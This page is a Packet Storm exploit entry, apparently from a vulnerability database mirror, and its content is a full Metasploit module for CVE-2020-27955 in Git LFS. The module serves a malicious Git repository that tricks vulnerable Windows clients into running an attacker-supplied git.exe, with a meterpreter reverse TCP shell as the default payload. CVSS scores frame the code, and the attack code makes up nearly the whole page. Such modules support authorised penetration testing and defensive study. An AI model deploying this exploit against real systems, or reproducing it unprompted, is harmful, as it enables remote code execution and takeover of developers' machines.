Lucene search

K
packetstormDawid GolunskiPACKETSTORM:164180
HistorySep 16, 2021 - 12:00 a.m.

Git git-lfs Remote Code Execution

2021-09-1600:00:00
Dawid Golunski
packetstormsecurity.com
186

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Git  
include Msf::Exploit::Git::Lfs  
include Msf::Exploit::Git::SmartHttp  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',  
'Description' => %q{  
A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for  
versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked  
into cloning the attacker’s malicious repository using a vulnerable Git version control tool  
},  
'Author' => [  
'Dawid Golunski ', # Discovery  
'space-r7', # Guidance, git mixins  
'jheysel-r7' # Metasploit module  
],  
'References' => [  
['CVE', '2020-27955'],  
['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']  
],  
'DisclosureDate' => '2020-11-04', # Public disclosure  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Git LFS <= 2.12',  
{  
'Platform' => ['win']  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
'WfsDelay' => 10  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
ARTIFACTS_ON_DISK  
]  
}  
)  
)  
  
register_options([  
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])  
])  
deregister_options('RHOSTS')  
end  
  
def setup_repo_structure  
payload_fname = 'git.exe'  
@hook_payload = generate_payload_exe  
  
ptr_file = generate_pointer_file(@hook_payload)  
git_payload_ptr = GitObject.build_blob_object(ptr_file)  
  
git_attr_fname = '.gitattributes'  
git_attr_content = "#{payload_fname} filter=lfs diff=lfs merge=lfs"  
git_attr_obj = GitObject.build_blob_object(git_attr_content)  
  
register_dir_for_cleanup('.git')  
register_files_for_cleanup(git_attr_fname)  
  
# root of repository  
tree_ent =  
[  
{  
mode: '100644',  
file_name: git_attr_fname,  
sha1: git_attr_obj.sha1  
},  
{  
mode: '100755',  
file_name: payload_fname,  
sha1: git_payload_ptr.sha1  
}  
]  
  
tree_obj = GitObject.build_tree_object(tree_ent)  
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)  
  
@git_objs =  
[  
commit, tree_obj, git_attr_obj, git_payload_ptr  
]  
  
@refs =  
{  
'HEAD' => 'refs/heads/master',  
'refs/heads/master' => commit.sha1  
}  
end  
  
#  
# Determine whether or not the target is exploitable based on the User-Agent header returned from the client.  
# The git version must be equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0 to be  
# exploitable by this vulnerability.  
#  
# Returns +true+ if the target is suitable, else fail_with descriptive message  
#  
def target_suitable?(user_agent)  
info = fingerprint_user_agent(user_agent)  
if info[:ua_name] == Msf::HttpClients::UNKNOWN  
fail_with(Failure::NoTarget, "The client's User-Agent string was unidentifiable: #{info}. The client needs to clone the malicious repo on windows with a git version less than 2.29.0")  
end  
  
if info[:os_name] == 'Windows' &&  
((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) ||  
(info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12')))  
true  
else  
fail_with(Failure::NotVulnerable, "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, #{info[:ua_name]}, found was running on, #{info[:os_name]} and was at version: #{info[:ua_ver]}")  
end  
end  
  
def on_request_uri(cli, req)  
target_suitable?(req.headers['User-Agent'])  
if req.uri.include?('git-upload-pack')  
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)  
case request.type  
when 'ref-discovery'  
response = send_refs(request)  
when 'upload-pack'  
response = send_requested_objs(request)  
else  
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')  
end  
else  
response = handle_lfs_objects(req, @hook_payload, @git_addr)  
unless response.code == 200  
cli.send_response(response)  
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')  
end  
end  
cli.send_response(response)  
end  
  
def create_git_uri  
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')  
end  
  
def primer  
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']  
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)  
print_status("Git repository to clone: #{@git_addr}")  
hardcoded_uripath(@git_repo_uri)  
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")  
end  
  
def handle_lfs_objects(req, hook_payload, git_addr)  
git_hook_obj = GitObject.build_blob_object(hook_payload)  
  
case req.method  
when 'POST'  
print_status('Sending payload data...')  
response = get_batch_response(req, git_addr, git_hook_obj)  
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response  
when 'GET'  
print_status('Sending LFS object...')  
response = get_requested_obj_response(req, git_hook_obj)  
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response  
else  
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')  
end  
  
response  
end  
  
def send_refs(req)  
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'  
  
response = get_ref_discovery_response(req, @refs)  
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response  
  
response  
end  
  
def send_requested_objs(req)  
upload_pack_resp = get_upload_pack_response(req, @git_objs)  
unless upload_pack_resp  
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')  
end  
  
upload_pack_resp  
end  
  
def exploit  
setup_repo_structure  
super  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

Related for PACKETSTORM:164180